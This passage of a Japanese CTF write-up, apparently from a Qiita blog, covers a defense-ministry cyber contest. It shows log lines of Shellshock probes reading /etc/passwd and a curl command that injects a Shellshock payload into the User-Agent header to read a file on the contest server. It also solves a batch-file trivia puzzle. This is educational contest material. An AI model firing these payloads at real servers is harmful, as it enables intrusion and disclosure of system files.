192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/u.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/v.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/x.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/y.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/z.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/v.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"

このログを見るところ、

/cgi-bin/n.cgi HTTP/1.1" 200 2007

と、一カ所だけ通信が通っており、脆弱箇所であることがわかります。
実際に、"/cgi-bin/n.cgi"へアクセスすると、

ShellShockable!

と表示されました。
「攻撃してくれ!」と自分から言ってるページなの、面白いですね。
遠慮なくshellshockを試みましょう。

curl -v "https://pw1-prod.2025winter-cybercontest.net/cgi-bin/n.cgi" -H "User-Agent: () { :;}; echo; /bin/cat /etc/PW-1"

image.png
done!


TR: トリビア

Windowsで解きましょう(200pts)

はじめに、batファイルが渡されます。
windowsで解けというメッセージが伝わってきますね。
このファイルを実行すると、大量のflags_n.txtというファイルが作られます。
その中から、1つ正解を見つけるという問題です。

まずは、バッチファイルをのぞいてみます。

flags.bat
@echo off
setlocal
set FDATA1=23
set FDATA2=61
set FDATA3=34
set FDATA4=25
set FDATA5=75
set FDATA6=64
set FDATA7=93
set FDATA8=44
set FDATA9=72
md flags
chdir flags
for /l %%n in (10,1,99) do (
  type null > flags_%%n.txt
  echo flag{%FDATA5%%FDATA4%%%n%FDATA1%%FDATA6%%FDATA2%%%n%FDATA3%%FDATA7%%FDATA9%%FDATA8%} > flags_%%n.txt
  if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag
)

endlocal

明らかに答えが書いてますね。

if %%n==%FDATA4% echo > flags_%%n.txt:TrueFlag

ということで、FDATA4の定義番号がTrueflagのようです。
25番ですね。
つまり、 flags_25.txt が正解でした。
done!


所感

12時間フルで使っても全問解けなかったことは本当に悔しい所でした。
PWが全然解けなくて、ここが自身の弱点だなとも感じます。
しかし、webを全て解ききることが出来たのはすごくうれしくて、この自信だけで今後のCTFも頑張れそう!
...なんてうぬぼれています。
いまはこのことを喜んで、次回参加するCTFにも参加していければなと思う所存です。
改めまして、防衛省サイバーコンテスト2024 winter お疲れさまでした!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?